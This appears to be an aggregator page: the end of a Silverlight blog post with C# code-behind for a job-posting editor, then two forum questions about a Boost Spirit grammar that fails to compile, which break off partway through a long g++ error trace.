[Required(ErrorMessage = "Job Title is required.")] public bool JobTitle; [Required] public string Location; public bool NeedsCV; public bool NeedsOverview; public bool NeedsResume; public int PostingID; [Required(ErrorMessage="Qualifications are required.")] [StringLength(2500, ErrorMessage="Qualifications should be more than one and less than 2500 characters.", MinimumLength=1)] public string Qualifications; [StringLength(2500, ErrorMessage = "Requirements should be more than one and less than 2500 characters.", MinimumLength = 1)] [Required(ErrorMessage="Requirements are required.")] public string Requirements;   The RecruitCB Alternative See all that Xaml I pasted above? Those are now two pieces sitting in the JobsView.xaml file now. The only real difference is that the xEditGrid now sits in the same place as xJobsGrid, with visibility swapping out between the two for a quick switch. I also took out all the cal: and command: command references and replaced Button events with clicks and the Grid selection command replaced with a SelectedItemChanged event. Also, at the bottom of the xEditGrid after the last button, I add a ValidationSummary (with Visibility=Collapsed) to catch any errors that are popping up. Simple as can be, and leads to this being the single code-behind file: 001.public partial class JobsView : UserControl 002.{ 003.public RecruitingContext context; 004.public JobPosting activeJob; 005.public bool isNew; 006.private ObservableCollection<ValidationResult> _valResults = new ObservableCollection<ValidationResult>(); 007.public ObservableCollection<ValidationResult> ValResults 008.{ 009.get { return this._valResults; } 010.} 011.public JobsView() 012.{ 013.InitializeComponent(); 014.this.Loaded += new RoutedEventHandler(JobsView_Loaded); 015.} 016.void JobsView_Loaded(object sender, RoutedEventArgs e) 017.{ 018.context = new RecruitingContext(); 019.xJobsGrid.ItemsSource = context.JobPostings; 020.context.Load(context.GetJobPostingsQuery()); 021.} 022.private void xAddRecordButton_Click(object sender, RoutedEventArgs e) 023.{ 024.activeJob = new JobPosting(); 025.isNew = true; 026.xAddEditTitle.Text = "Add a Job Posting"; 027.xAddEditButton.Content = "Add"; 028.xEditGrid.DataContext = activeJob; 029.HideJobsGrid(); 030.} 031.private void xEditRecordButton_Click(object sender, RoutedEventArgs e) 032.{ 033.activeJob = xJobsGrid.SelectedItem as JobPosting; 034.isNew = false; 035.xAddEditTitle.Text = "Edit a Job Posting"; 036.xAddEditButton.Content = "Edit"; 037.xEditGrid.DataContext = activeJob; 038.HideJobsGrid(); 039.} 040.private void xAddEditButton_Click(object sender, RoutedEventArgs e) 041.{ 042.if (!Validator.TryValidateObject(this.activeJob, new ValidationContext(this.activeJob, null, null), _valResults, true)) 043.{ 044.List<string> errorMessages = new List<string>(); 045.foreach (var valR in this._valResults) 046.{ 047.errorMessages.Add(valR.ErrorMessage); 048.} 049.this._valResults.Clear(); 050.ShowErrors(errorMessages); 051.} 052.else if (xSummary.Errors.Count > 0) 053.{ 054.List<string> errorMessages = new List<string>(); 055.foreach (var err in xSummary.Errors) 056.{ 057.errorMessages.Add(err.Message); 058.} 059.ShowErrors(errorMessages); 060.} 061.else 062.{ 063.if (this.isNew) 064.{ 065.context.JobPostings.Add(activeJob); 066.context.SubmitChanges((s) => 067.{ 068.ActionHistory thisAction = new ActionHistory(); 069.thisAction.PostingID = activeJob.PostingID; 070.thisAction.Description = String.Format("Job '{0}' has been edited by {1}", activeJob.JobTitle, "default user"); 071.thisAction.TimeStamp = DateTime.Now; 072.context.ActionHistories.Add(thisAction); 073.context.SubmitChanges(); 074.}, null); 075.} 076.else 077.{ 078.context.SubmitChanges((s) => 079.{ 080.ActionHistory thisAction = new ActionHistory(); 081.thisAction.PostingID = activeJob.PostingID; 082.thisAction.Description = String.Format("Job '{0}' has been added by {1}", activeJob.JobTitle, "default user"); 083.thisAction.TimeStamp = DateTime.Now; 084.context.ActionHistories.Add(thisAction); 085.context.SubmitChanges(); 086.}, null); 087.} 088.ShowJobsGrid(); 089.} 090.} 091.private void xCancelButton_Click(object sender, RoutedEventArgs e) 092.{ 093.ShowJobsGrid(); 094.} 095.private void ShowJobsGrid() 096.{ 097.xAddEditRecordButtonPanel.Visibility = Visibility.Visible; 098.xEditGrid.Visibility = Visibility.Collapsed; 099.xJobsGrid.Visibility = Visibility.Visible; 100.} 101.private void HideJobsGrid() 102.{ 103.xAddEditRecordButtonPanel.Visibility = Visibility.Collapsed; 104.xJobsGrid.Visibility = Visibility.Collapsed; 105.xEditGrid.Visibility = Visibility.Visible; 106.} 107.private void ShowErrors(List<string> errorList) 108.{ 109.string nm = "Errors received: \n"; 110.foreach (string anerror in errorList) 111.nm += anerror + "\n"; 112.RadWindow.Alert(nm); 113.} 114.} The first 39 lines should be pretty familiar, not doing anything too unorthodox to get this up and running. Once we hit the xAddEditButton_Click on line 40, we're still doing pretty much the same things except instead of checking the ValidationHelper errors, we both run a check on the current activeJob object as well as check the ValidationSummary errors list. Once that is set, we again use the callback of context.SubmitChanges (lines 68 and 78) to create an ActionHistory which we will use to track these items down the line. That's all? Essentially... yes. If you look back through this post, most of the code and adventures we have taken were just to get things working in the MVVM/Prism setup. Since I have the whole 'module' self-contained in a single JobView+code-behind setup, I don't have to worry about things like sending events off into space for someone to pick up, communicating through an Infrastructure project, or even re-inventing events to be used with attached behaviors. Everything just kinda works, and again with much less code. Here's a picture of the MVVM and Code-behind versions on the Jobs and AddEdit views, but since the functionality is the same in both apps you still cannot tell them apart (for two-strike): Looking ahead, the Applicants module is effectively the same thing as the Jobs module, so most of the code is being cut-and-pasted back and forth with minor tweaks here and there. So that one is being taken care of by me behind the scenes. Next time, we get into a new world of fun- the interview scheduling module, which will pull from available jobs and applicants for each interview being scheduled, tying everything together with RadScheduler to the rescue. Did you know that DotNetSlackers also publishes .net articles written by top known .net Authors? We already have over 80 articles in several categories including Silverlight. Take a look: here.

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  • build error with boost spirit grammar (boost 1.43 and g++ 4.4.1)

    - by lurscher
    I'm having issues getting a small spirit/qi grammar to compile. The build stack trace is fugly enought to not make any sense to me (despite some assertion_failed i could notice in there but that didn't brought much information) the input grammar header: inputGrammar.h #include <boost/config/warning_disable.hpp> #include <boost/spirit/include/qi.hpp> #include <boost/spirit/include/phoenix_core.hpp> #include <boost/spirit/include/phoenix_operator.hpp> #include <boost/spirit/include/phoenix_fusion.hpp> #include <boost/spirit/include/phoenix_stl.hpp> #include <boost/fusion/include/adapt_struct.hpp> #include <boost/variant/recursive_variant.hpp> #include <boost/foreach.hpp> #include <iostream> #include <fstream> #include <string> #include <vector> namespace sp = boost::spirit; namespace qi = boost::spirit::qi; using namespace boost::spirit::ascii; //using namespace boost::spirit::arg_names; namespace fusion = boost::fusion; namespace phoenix = boost::phoenix; using phoenix::at_c; using phoenix::push_back; template< typename Iterator , typename ExpressionAST > struct InputGrammar : qi::grammar<Iterator, ExpressionAST(), space_type> { InputGrammar() : InputGrammar::base_type( block ) { tag = sp::lexeme[+(alpha) [sp::_val += sp::_1]];//[+(char_ - '<') [_val += _1]]; block = sp::lit("block") [ at_c<0>(sp::_val) = sp::_1] >> "(" >> *instruction[ push_back( at_c<1>(sp::_val) , sp::_1 ) ] >> ")"; command = tag [ at_c<0>(sp::_val) = sp::_1] >> "(" >> *instruction [ push_back( at_c<1>(sp::_val) , sp::_1 )] >> ")"; instruction = ( command | tag ) [sp::_val = sp::_1]; } qi::rule< Iterator , std::string() , space_type > tag; qi::rule< Iterator , ExpressionAST() , space_type > block; qi::rule< Iterator , ExpressionAST() , space_type > function_def; qi::rule< Iterator , ExpressionAST() , space_type > command; qi::rule< Iterator , ExpressionAST() , space_type > instruction; }; the test build program: i seems the build fails at qi::phrase_parse, i am using boost 1.43 and g++ 4.4.1 #include <iostream> #include <string> #include <vector> using namespace std; //my grammar #include <InputGrammar.h> struct MockExpressionNode { std::string name; std::vector< MockExpressionNode > operands; typedef std::vector< MockExpressionNode >::iterator iterator; typedef std::vector< MockExpressionNode >::const_iterator const_iterator; iterator begin() { return operands.begin(); } const_iterator begin() const { return operands.begin(); } iterator end() { return operands.end(); } const_iterator end() const { return operands.end(); } bool is_leaf() const { return ( operands.begin() == operands.end() ); } }; BOOST_FUSION_ADAPT_STRUCT( MockExpressionNode, (std::string, name) (std::vector<MockExpressionNode>, operands) ) int const tabsize = 4; void tab(int indent) { for (int i = 0; i < indent; ++i) std::cout << ' '; } template< typename ExpressionNode > struct ExpressionNodePrinter { ExpressionNodePrinter(int indent = 0) : indent(indent) { } void operator()(ExpressionNode const& node) const { cout << " tag: " << node.name << endl; for (int i=0 ; i < node.operands.size() ; i++ ) { tab( indent ); cout << " arg "<<i<<": "; ExpressionNodePrinter(indent + 2)( node.operands[i]); cout << endl; } } int indent; }; int test() { MockExpressionNode root; InputGrammar< string::const_iterator , MockExpressionNode > g(); std::string litA = "litA"; std::string litB = "litB"; std::string litC = "litC"; std::string litD = "litD"; std::string litE = "litE"; std::string litF = "litF"; std::string source = litA+"( "+litB+" ,"+litC+" , "+ litD+" ( "+litE+", "+litF+" ) "+ " )"; string::const_iterator iter = source.begin(); string::const_iterator end = source.end(); bool r = qi::phrase_parse( iter , end , g , root , space ); ExpressionNodePrinter< MockExpressionNode > np; np( root ); }; int main() { test(); } finally, the build error is the following: /usr/bin/make -f nbproject/Makefile-linux_amd64_devel.mk SUBPROJECTS= .build-conf make[1]: se ingresa al directorio `/home/mineq/NetBeansProjects/InputParserTests' /usr/bin/make -f nbproject/Makefile-linux_amd64_devel.mk dist/linux_amd64_devel/GNU-Linux-x86/vpuinputparsertests make[2]: se ingresa al directorio `/home/mineq/NetBeansProjects/InputParserTests' mkdir -p build/linux_amd64_devel/GNU-Linux-x86 rm -f build/linux_amd64_devel/GNU-Linux-x86/tests_main.o.d g++ `llvm-config --cxxflags` `pkg-config --cflags unittest-cpp` `pkg-config --cflags boost-1.43` `pkg-config --cflags boost-coroutines` -c -g -I../InputParser -MMD -MP -MF build/linux_amd64_devel/GNU-Linux-x86/tests_main.o.d -o build/linux_amd64_devel/GNU-Linux-x86/tests_main.o tests_main.cpp from /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/auto.hpp:16, from /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi.hpp:15, from /home/mineq/third_party/boost_1_43_0/boost/spirit/include/qi.hpp:16, from ../InputParser/InputGrammar.h:12, from tests_main.cpp:14: /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/parse.hpp: In function ‘bool boost::spirit::qi::phrase_parse(Iterator&, Iterator, const Expr&, const Skipper&, boost::spirit::qi::skip_flag::enum_type, Attr&) [with Iterator = __gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, Expr = InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode>(), Skipper = MockExpressionNode, Attr = const boost::proto::exprns_::expr<boost::proto::tag::terminal, boost::proto::argsns_::term<boost::spirit::tag::char_code<boost::spirit::tag::space, boost::spirit::char_encoding::ascii> >, 0l>]’: In file included from /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/detail/parse_auto.hpp:14, /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/parse.hpp:125: instantiated from ‘bool boost::spirit::qi::phrase_parse(Iterator&, Iterator, const Expr&, const Skipper&, Attr&) [with Iterator = __gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, Expr = InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode>(), Skipper = MockExpressionNode, Attr = const boost::spirit::ascii::space_type]’ tests_main.cpp:206: instantiated from here /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/parse.hpp:99: error: no matching function for call to ‘assertion_failed(mpl_::failed************ (boost::spirit::qi::phrase_parse(Iterator&, Iterator, const Expr&, const Skipper&, boost::spirit::qi::skip_flag::enum_type, Attr&) [with Iterator = __gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, Expr = InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode>(), Skipper = MockExpressionNode, Attr = const boost::proto::exprns_::expr<boost::proto::tag::terminal, boost::proto::argsns_::term<boost::spirit::tag::char_code<boost::spirit::tag::space, boost::spirit::char_encoding::ascii> >, 0l>]::error_invalid_expression::************)(InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode> (*)()))’ /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/parse.hpp:125: instantiated from ‘bool boost::spirit::qi::phrase_parse(Iterator&, Iterator, const Expr&, const Skipper&, Attr&) [with Iterator = __gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, Expr = InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode>(), Skipper = MockExpressionNode, Attr = const boost::spirit::ascii::space_type]’ tests_main.cpp:206: instantiated from here /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/parse.hpp:100: error: no matching function for call to ‘assertion_failed(mpl_::failed************ (boost::spirit::qi::phrase_parse(Iterator&, Iterator, const Expr&, const Skipper&, boost::spirit::qi::skip_flag::enum_type, Attr&) [with Iterator = __gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, Expr = InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode>(), Skipper = MockExpressionNode, Attr = const boost::proto::exprns_::expr<boost::proto::tag::terminal, boost::proto::argsns_::term<boost::spirit::tag::char_code<boost::spirit::tag::space, boost::spirit::char_encoding::ascii> >, 0l>]::error_invalid_expression::************)(MockExpressionNode))’ from /home/mineq/third_party/boost_1_43_0/boost/proto/proto.hpp:12, from /home/mineq/third_party/boost_1_43_0/boost/spirit/home/support/meta_compiler.hpp:17, from /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/meta_compiler.hpp:14, from /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/action/action.hpp:14, from /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/action.hpp:14, from /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi.hpp:14, from /home/mineq/third_party/boost_1_43_0/boost/spirit/include/qi.hpp:16, from ../InputParser/InputGrammar.h:12, from tests_main.cpp:14: /home/mineq/third_party/boost_1_43_0/boost/proto/detail/expr0.hpp: At global scope: /home/mineq/third_party/boost_1_43_0/boost/proto/proto_fwd.hpp: In instantiation of ‘boost::proto::exprns_::expr<boost::proto::tag::terminal, boost::proto::argsns_::term<InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode>()>, 0l>’: In file included from /home/mineq/third_party/boost_1_43_0/boost/proto/core.hpp:13, /home/mineq/third_party/boost_1_43_0/boost/utility/enable_if.hpp:59: instantiated from ‘boost::disable_if<boost::proto::result_of::is_expr<boost::proto::exprns_::expr<boost::proto::tag::terminal, boost::proto::argsns_::term<InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode>()>, 0l>, void>, void>’ /home/mineq/third_party/boost_1_43_0/boost/spirit/home/support/meta_compiler.hpp:200: instantiated from ‘boost::spirit::result_of::compile<boost::spirit::qi::domain, InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode>(), boost::fusion::unused_type, void>’ /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/parse.hpp:107: instantiated from ‘bool boost::spirit::qi::phrase_parse(Iterator&, Iterator, const Expr&, const Skipper&, boost::spirit::qi::skip_flag::enum_type, Attr&) [with Iterator = __gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, Expr = InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode>(), Skipper = MockExpressionNode, Attr = const boost::proto::exprns_::expr<boost::proto::tag::terminal, boost::proto::argsns_::term<boost::spirit::tag::char_code<boost::spirit::tag::space, boost::spirit::char_encoding::ascii> >, 0l>]’ /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/parse.hpp:125: instantiated from ‘bool boost::spirit::qi::phrase_parse(Iterator&, Iterator, const Expr&, const Skipper&, Attr&) [with Iterator = __gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, Expr = InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode>(), Skipper = MockExpressionNode, Attr = const boost::spirit::ascii::space_type]’ tests_main.cpp:206: instantiated from here /home/mineq/third_party/boost_1_43_0/boost/proto/detail/expr0.hpp:64: error: field ‘boost::proto::exprns_::expr<boost::proto::tag::terminal, boost::proto::argsns_::term<InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode>()>, 0l>::child0’ invalidly declared function type from /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/auto.hpp:16, from /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi.hpp:15, from /home/mineq/third_party/boost_1_43_0/boost/spirit/include/qi.hpp:16, from ../InputParser/InputGrammar.h:12, from tests_main.cpp:14: /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/parse.hpp: In function ‘bool boost::spirit::qi::phrase_parse(Iterator&, Iterator, const Expr&, const Skipper&, boost::spirit::qi::skip_flag::enum_type, Attr&) [with Iterator = __gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, Expr = InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode>(), Skipper = MockExpressionNode, Attr = const boost::proto::exprns_::expr<boost::proto::tag::terminal, boost::proto::argsns_::term<boost::spirit::tag::char_code<boost::spirit::tag::space, boost::spirit::char_encoding::ascii> >, 0l>]’: In file included from /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/detail/parse_auto.hpp:14, /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/parse.hpp:125: instantiated from ‘bool boost::spirit::qi::phrase_parse(Iterator&, Iterator, const Expr&, const Skipper&, Attr&) [with Iterator = __gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, Expr = InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode>(), Skipper = MockExpressionNode, Attr = const boost::spirit::ascii::space_type]’ tests_main.cpp:206: instantiated from here /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/parse.hpp:107: error: request for member ‘parse’ in ‘boost::spirit::compile [with Domain = boost::spirit::qi::domain, Expr = InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode>()](((InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode> (&)())((InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode> (*)())expr)))’, which is of non-class type ‘InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode>()’ from /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/auto.hpp:15, from /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi.hpp:15, from /home/mineq/third_party/boost_1_43_0/boost/spirit/include/qi.hpp:16, from ../InputParser/InputGrammar.h:12, from tests_main.cpp:14: /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/skip_over.hpp: In function ‘void boost::spirit::qi::skip_over(Iterator&, const Iterator&, const T&) [with Iterator = __gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, T = boost::spirit::qi::phrase_parse(Iterator&, Iterator, const Expr&, const Skipper&, boost::spirit::qi::skip_flag::enum_type, Attr&) [with Iterator = __gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, Expr = InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode>(), Skipper = MockExpressionNode, Attr = const boost::proto::exprns_::expr<boost::proto::tag::terminal, boost::proto::argsns_::term<boost::spirit::tag::char_code<boost::spirit::tag::space, boost::spirit::char_encoding::ascii> >, 0l>]::skipper_type]’: In file included from /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/auto/auto.hpp:19, /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/parse.hpp:112: instantiated from ‘bool boost::spirit::qi::phrase_parse(Iterator&, Iterator, const Expr&, const Skipper&, boost::spirit::qi::skip_flag::enum_type, Attr&) [with Iterator = __gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, Expr = InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode>(), Skipper = MockExpressionNode, Attr = const boost::proto::exprns_::expr<boost::proto::tag::terminal, boost::proto::argsns_::term<boost::spirit::tag::char_code<boost::spirit::tag::space, boost::spirit::char_encoding::ascii> >, 0l>]’ /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/parse.hpp:125: instantiated from ‘bool boost::spirit::qi::phrase_parse(Iterator&, Iterator, const Expr&, const Skipper&, Attr&) [with Iterator = __gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, Expr = InputGrammar<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode>(), Skipper = MockExpressionNode, Attr = const boost::spirit::ascii::space_type]’ tests_main.cpp:206: instantiated from here /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/skip_over.hpp:27: error: ‘const struct MockExpressionNode’ has no member named ‘parse’ make[2]: *** [build/linux_amd64_devel/GNU-Linux-x86/tests_main.o] Error 1 make[2]: se sale del directorio `/home/mineq/NetBeansProjects/InputParserTests' make[1]: *** [.build-conf] Error 2 make[1]: se sale del directorio `/home/mineq/NetBeansProjects/InputParserTests' make: *** [.build-impl] Error 2 BUILD FAILED (exit value 2, total time: 1m 48s)

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  • build error with boost spirit grammar (boost 1.43 and g++ 4.4.1) part II

    - by lurscher
    I'm having issues getting a small spirit/qi grammar to compile. i am using boost 1.43 and g++ 4.4.1. the input grammar header: inputGrammar.h #include <boost/config/warning_disable.hpp> #include <boost/spirit/include/qi.hpp> #include <boost/spirit/include/phoenix_core.hpp> #include <boost/spirit/include/phoenix_operator.hpp> #include <boost/spirit/include/phoenix_fusion.hpp> #include <boost/spirit/include/phoenix_stl.hpp> #include <boost/fusion/include/adapt_struct.hpp> #include <boost/variant/recursive_variant.hpp> #include <boost/foreach.hpp> #include <iostream> #include <fstream> #include <string> #include <vector> namespace sp = boost::spirit; namespace qi = boost::spirit::qi; using namespace boost::spirit::ascii; //using namespace boost::spirit::arg_names; namespace fusion = boost::fusion; namespace phoenix = boost::phoenix; using phoenix::at_c; using phoenix::push_back; template< typename Iterator , typename ExpressionAST > struct InputGrammar : qi::grammar<Iterator, ExpressionAST(), space_type> { InputGrammar() : InputGrammar::base_type( block ) { tag = sp::lexeme[+(alpha) [sp::_val += sp::_1]];//[+(char_ - '<') [_val += _1]]; block = sp::lit("block") [ at_c<0>(sp::_val) = sp::_1] >> "(" >> *instruction[ push_back( at_c<1>(sp::_val) , sp::_1 ) ] >> ")"; command = tag [ at_c<0>(sp::_val) = sp::_1] >> "(" >> *instruction [ push_back( at_c<1>(sp::_val) , sp::_1 )] >> ")"; instruction = ( command | tag ) [sp::_val = sp::_1]; } qi::rule< Iterator , std::string() , space_type > tag; qi::rule< Iterator , ExpressionAST() , space_type > block; qi::rule< Iterator , ExpressionAST() , space_type > function_def; qi::rule< Iterator , ExpressionAST() , space_type > command; qi::rule< Iterator , ExpressionAST() , space_type > instruction; }; the test build program: #include <iostream> #include <string> #include <vector> using namespace std; //my grammar #include <InputGrammar.h> struct MockExpressionNode { std::string name; std::vector< MockExpressionNode > operands; typedef std::vector< MockExpressionNode >::iterator iterator; typedef std::vector< MockExpressionNode >::const_iterator const_iterator; iterator begin() { return operands.begin(); } const_iterator begin() const { return operands.begin(); } iterator end() { return operands.end(); } const_iterator end() const { return operands.end(); } bool is_leaf() const { return ( operands.begin() == operands.end() ); } }; BOOST_FUSION_ADAPT_STRUCT( MockExpressionNode, (std::string, name) (std::vector<MockExpressionNode>, operands) ) int const tabsize = 4; void tab(int indent) { for (int i = 0; i < indent; ++i) std::cout << ' '; } template< typename ExpressionNode > struct ExpressionNodePrinter { ExpressionNodePrinter(int indent = 0) : indent(indent) { } void operator()(ExpressionNode const& node) const { cout << " tag: " << node.name << endl; for (int i=0 ; i < node.operands.size() ; i++ ) { tab( indent ); cout << " arg "<<i<<": "; ExpressionNodePrinter(indent + 2)( node.operands[i]); cout << endl; } } int indent; }; int test() { MockExpressionNode root; InputGrammar< string::const_iterator , MockExpressionNode > g; std::string litA = "litA"; std::string litB = "litB"; std::string litC = "litC"; std::string litD = "litD"; std::string litE = "litE"; std::string litF = "litF"; std::string source = litA+"( "+litB+" ,"+litC+" , "+ litD+" ( "+litE+", "+litF+" ) "+ " )"; string::const_iterator iter = source.begin(); string::const_iterator end = source.end(); bool r = qi::phrase_parse( iter , end , g , space , root ); ExpressionNodePrinter< MockExpressionNode > np; np( root ); }; int main() { test(); } finally, the build error is the following: (the full error trace is 20 times bigger than the allowed size for a stackoverflow question, so i posted the full version of it at http://codepad.org/Q74IVCUc) /usr/bin/make -f nbproject/Makefile-linux_amd64_devel.mk SUBPROJECTS= .build-conf make[1]: se ingresa al directorio `/home/mineq/NetBeansProjects/InputParserTests' /usr/bin/make -f nbproject/Makefile-linux_amd64_devel.mk dist/linux_amd64_devel/GNU-Linux-x86/vpuinputparsertests make[2]: se ingresa al directorio `/home/mineq/NetBeansProjects/InputParserTests' mkdir -p build/linux_amd64_devel/GNU-Linux-x86 rm -f build/linux_amd64_devel/GNU-Linux-x86/tests_main.o.d g++ `llvm-config --cxxflags` `pkg-config --cflags unittest-cpp` `pkg-config --cflags boost-1.43` `pkg-config --cflags boost-coroutines` -c -g -I../InputParser -MMD -MP -MF build/linux_amd64_devel/GNU-Linux-x86/tests_main.o.d -o build/linux_amd64_devel/GNU-Linux-x86/tests_main.o tests_main.cpp from /home/mineq/third_party/boost_1_43_0/boost/spirit/include/phoenix_operator.hpp:11, from ../InputParser/InputGrammar.h:14, from tests_main.cpp:14: /home/mineq/third_party/boost_1_43_0/boost/spirit/home/phoenix/operator/self.hpp: In instantiation of ‘const int boost::phoenix::result_of_assign<MockExpressionNode&, boost::variant<MockExpressionNode, std::basic_string<char, std::char_traits<char>, std::allocator<char> >, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_>&>::size’: In file included from /home/mineq/third_party/boost_1_43_0/boost/spirit/home/phoenix/operator.hpp:16, /home/mineq/third_party/boost_1_43_0/boost/spirit/home/phoenix/operator/self.hpp:27: instantiated from ‘const int boost::phoenix::result_of_assign<MockExpressionNode&, boost::variant<MockExpressionNode, std::basic_string<char, std::char_traits<char>, std::allocator<char> >, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_>&>::index’ /home/mineq/third_party/boost_1_43_0/boost/spirit/home/phoenix/operator/self.hpp:27: instantiated from ‘boost::phoenix::result_of_assign<MockExpressionNode&, boost::variant<MockExpressionNode, std::basic_string<char, std::char_traits<char>, std::allocator<char> >, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_>&>’ /home/mineq/third_party/boost_1_43_0/boost/mpl/eval_if.hpp:38: instantiated from ‘boost::mpl::eval_if<boost::mpl::or_<boost::phoenix::is_actor<MockExpressionNode&>, boost::phoenix::is_actor<boost::variant<MockExpressionNode, std::basic_string<char, std::char_traits<char>, std::allocator<char> >, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_>&>, 